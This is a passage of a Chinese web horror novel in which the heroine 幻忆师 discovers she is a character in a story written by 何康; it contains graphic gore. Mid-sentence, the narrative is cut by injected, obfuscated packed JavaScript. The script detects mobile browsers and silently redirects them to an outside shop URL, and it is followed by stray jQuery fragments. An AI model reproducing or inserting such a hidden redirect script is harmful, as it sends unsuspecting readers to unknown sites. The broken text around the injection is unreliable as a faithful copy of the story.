玩家幻忆师扶着盆栽从会议室的一角站起来。
她的脸皮边缘有十个深深凹陷的指甲印,嘴里有鲜明的血腥味,喉咙里还有没完全吞咽下去的纸张。
幻忆师不是打印机,她是她自己,她是被打印机污染了认知的人类。
在她站起来的瞬间,女人似乎意识到什么,慌张地拔腿就跑,却被脚下一摞A4纸绊倒。
幻忆师一边扶起女人,一边弯腰捡纸,她确信自己刚刚看见的是她进入怪谈后的经历,被人用小说笔体记录下来印在A4纸上。
她刚捡起一张纸,还没来得及看上一眼,女人突然一口咬住她手里的纸,把纸张吞咽入腹。
认知污染转移了,幻忆师挣脱污染,污染开始侵袭女人。
紧接着,女人蹲在盆栽旁,双手插进自己口中,用力把嘴巴撕裂到一个恐怖的弧度,一口吞下面前所有纸。
女人的血盆大口中传来模糊的声音:“我是......打印机。”
幻忆师后退一步,她看见女人的肚皮被尖锐的A4纸顶起一个棱角。
女人的手扒住自己的脸皮,随着“撕拉”一声响,脸皮被整个撕下来。
幻忆师无声地干呕。
那张脸皮掉在她脚下,上面还印着文字:
【第一章.哒哒、哒
玩家幻忆师在温馨的家中醒来......】
可能是他们动静太大,一名工牌上写着主管的人闯进会议室,她惊喜地表扬幻忆师:
“康康,你太出色了!上班的第一天就全力以赴,完成了一个组的业绩!”
主管激动地拍打幻忆师的肩膀,把幻忆师打得又干呕几下。
“我好多年、好多年,没见过这么漂亮的印刷品了!”
主管完全无视盆栽旁死去的女人,她捡起地上印满字的脸皮,把脸皮塞到幻忆师手里。
“我决定把明天的早会变成全体员工必须参加的表彰大会,我要表彰你!让那些天天就知道躺平的老油条们看看,我们还有康康这样的年轻职工!”
幻忆师不愿意碰那张脸皮,主管使劲把脸皮塞进幻忆师的西服口袋,然后亲切地说:“我看你一直不说话,是身体不舒服吗?我送你回家吧!”
被主管送回家比留在会议室中当打印机还可怕,幻忆师赶紧摆摆手,挤出一个虚弱的微笑,带着脸皮溜出公司。
她一秒也不想在印刷厂多呆。
出公司的过程中,她遇见一台饮水机和一架电风扇。
像见鬼一样,她小心翼翼地绕过它们,生怕这些机器和打印机一样可以污染人的认知。
幻忆师走在无人的街道上,鼓起勇气拿出脸皮,忍着恶心阅读上面的文字。
第一章记录了她从醒来到出门的经历,连她的心理活动都写得清清楚楚。
好像记录者不仅在她身上安装摄像头,还在她肚子里放了只蛔虫。
幻忆师把脸皮举得远远的,边走边看,街边一声巨大的撞击声吸引了她的注意力。
是车祸。
一个提着菜篮的中年妇女着急过马路,顶着红灯爆冲出去,被来不及踩刹车的小货车撞成两截。
幻忆师站在马路对面默默看了一会,她抬脚想走,却忽然停下动作。
透过小货车撞碎的玻璃,她看见一个熟人,是穿碎花棉服的老太太。
老太太依旧一副勤劳朴实的老实样,她混在人群里,不停往前挤。
终于挤到事故发生现场,老太太从新鲜的血泊和黄白的脑浆中拎走了受害者的半截尸体。
下一秒,老太太和幻忆师对视。
幻忆师尴尬而不失礼貌地笑了笑。
她转身向家的方向走去,却发现碎花棉服老太太和她同路。
这不奇怪,老太太和她是邻居,二人都要回家,自然走在一起。
老太太拖着半截人,还要和幻忆师打招呼:“康康,吃饭了吗?上奶奶家来,奶奶给你炖排骨!”
幻忆师坚定地摇头。
她不想知道那半截人到底是用来炖排骨还是用来盖窝棚,她现在只想回家。
好不容易走到家门口,幻忆师遥遥停住脚步。
黑暗的楼道中,自动贩卖机上戴贝雷帽的企鹅睁开了眼睛。
平心而论,企鹅长得不丑,甚至比躯干泰迪顺眼一点。
它的眼睛黑黑小小,像是两粒蚕豆。幻忆师试探地往左走了几步,蚕豆跟随她一起移动,可怜的企鹅瞬间患上斜视。
随便吧,喜欢看我就看吧。幻忆师自暴自弃般大步上前,贩卖机里发出闷响,一瓶饮料从企鹅嘴里滑出来。
饮料瓶上画着一张嘴。
幻忆师在企鹅的注视下硬着头皮把饮料灌下去,是普普通通的苹果味碳酸饮料,喝下去后她的语言功能回来了。
忙碌了整整一天,终于回到温馨的家里,幻忆师却发现被烧毁一半的书架有什么不对。
书被人动过了。幻忆师抚摸书脊,相当肯定地判断。
被动的几本书是:《留学往事》、《下一站蓝天》、《来学做饭吧》、《陪狗狗一起成长》、《我爱我的家》
把每本书的第一个字串连:“留下来陪我”。
陪谁?陪伴何康吗?幻忆师觉得莫名其妙。
更让她不安的是,她失去了对环境的隔离感和烦躁感。
她刚从怪谈中醒来时,她总觉得自己不属于这里,她毫无归属感。
等她上完一天的班,经历了许多莫名其妙的事,却不得不遵守规则装作习以为常的样子。她发现自己迫不及待地想回家,原本令人厌烦的家变成唯一的避风港。
就好像......她发自内心地想要永远留在这里。
幻忆师拿出女人的脸皮,重新阅读上面的内容,她产生一个恐怖猜想:如果脸皮上的文字不是根据她的经历写出的小说,而是一部在她到来前就有的故事呢?
那么她只是一个作者笔下的人物,她不仅被作者掌控生死,还被作者掌握着思想。
她连脑子里的想法都无法控制,被作者的笔尖肆意描绘着。
临睡前,幻忆师把脸皮放在枕边,她紧紧盯着脸皮上的文字,准备找个办法验证自己的猜想。
第二天,幻忆师在温馨的家中醒来。
躯干泰迪在家中散步,幻忆师拉开房门,发现门口的自动贩卖机不见了。
顺着楼梯走到一楼,幻忆师看到整整一层楼的自动贩卖机,戴着贝雷帽的企鹅们闭眼张嘴,沿着楼道排成一列。
她出门左转,再次见到穿碎花棉服的老太太。
老太太在勤劳地用整具尸体搭窝棚,青黑色的尸体比石头还僵直,老太太不得不像玩拼图一样,先在地上把尸体们拼好,再竖着将它们立在坑坑洼洼的墙边。
幻忆师站在远处看了一会,老太太和她打招呼:
“康康,去上班打卡呀?”
等幻忆师来到公司,她果然在门口看见一台打卡机。
至此,幻忆师完全确定,这里是何康笔下的小说世界,她是一个小说人物。
今天她见到的所有改动都和昨天她作为打印机时写出的文字有关。
她说家门口不应该有贩卖机,何康立刻把贩卖机挪到一楼,并用无数贩卖机填满楼道。
她说老太太用碎尸搭窝棚恶心,何康立刻让老太太把建材换成整具尸体。
她说公司没有考勤制
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643967|137769||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
度,何康立刻给她变出来一个考勤机。
从某种角度来说,何康真心实意地想让幻忆师留在这个世界,幻忆师想要的一切他都在拼尽全力去满足,只是最后呈现的结果不如人意。
幻忆师摸了摸袖口的躯干泰迪,被主管拉去参加表彰大会。
主管站在台上讲得唾沫横飞:
“今天我把大家聚在一起,是为了祝贺康康为我们上一层印刷厂创造了非凡的业绩,希望大家以她为榜样!”
“在此,我要向某些人员提问,你们这个月完成了什么指标?”
主管高高仰着头,用充满恶意的目光扫过底下垂手站立的一排人,没人敢和她对视。
“哼。”主管从鼻子里发出一声冷哼。
“别以为仗着那点资历能在印刷厂混下去,我昨天去生产间向厂长打报告了,你们这些没有业绩的人都要被淘汰!”
“淘汰”两个字仿佛触发了什么关键的开关,木然垂手的众人表情大变,几个中年人甚至瑟瑟发抖。
幻忆师站在主管旁看得很清楚,有一个人直接吓尿了裤子。
她相当不解,淘汰不过是失去一份工作,这些人在害怕什么?
“咳咳。”主管清了清嗓子,“我念到名字的人都是上个月业绩垫底的!”
台下的员工哀鸿遍野。
“主管,再给我一次机会吧!”
“我上有老下有小......”
幻忆师更加不解了,这群人的反应像是被主管判了死刑,难道“淘汰”不是开除?
主管不听台下员工的哭喊,她冷酷地念完名单,漠然道:“集合,和我一起去生产间!”
员工们痛哭着跪倒在地,有几个已经全身瘫软走不动路,被旁边的保安架起来,扔进去生产间的队伍。
幻忆师对生产间充满好奇,也对所谓的“淘汰”很好奇,她悄悄跟在人群后面。
在主管的带领下,所有人被塞进一部拥挤的电梯。
电梯内一片死寂,无数双眼睛注视着小小的显示屏,屏幕上显示“1”。
哐当。
电梯沉重地晃动一下,屏幕上的数字跳到“2”。
哐当哐当哐当——
伴随着节节升高的晃动,屏幕上的数字越跳越快,仿佛被一只无形的手疯狂推动。
等数字跳动到“6”,幻忆师意识到不妙。
她跟着女人进印刷厂前数过楼层,办公楼一共5层,根本没有6楼。
数字6的后面还有7,显示屏上的光芒开始闪烁。
8,9,10,11,12,13,14,15,16......159
那一串数字如同疯狂的萤火虫,在狭小的空间里乱窜。电梯也被疯狂的力量驱动,速度越来越快,快得让人胆战心惊。
幻忆师眼睁睁地看着它不断攀升,却无能为力,她听见自己的心跳声与电梯的咣当巨响合为一体。
160,161,162,163,164,165,166......397
当楼层接近400时,幻忆师失去听觉,电梯的速度快到让人产生了失重感。
耳边只剩下电流般的耳鸣,她的心脏仿佛被揪出身体,世界好像整个颠倒过来,没有人知道这部钢铁牢笼要把他们带到哪里。
397,398,399,400,401,402,403......500
幻忆师不知道自己如何度过最后一百层,她的灵魂还留在公司的打卡处,身体却被电梯送上500层。
耳边的嗡鸣持续作响,幻忆师踉踉跄跄地爬起来,电梯门在她面前缓缓打开。
一丝光亮透进门缝,幻忆师呆住了。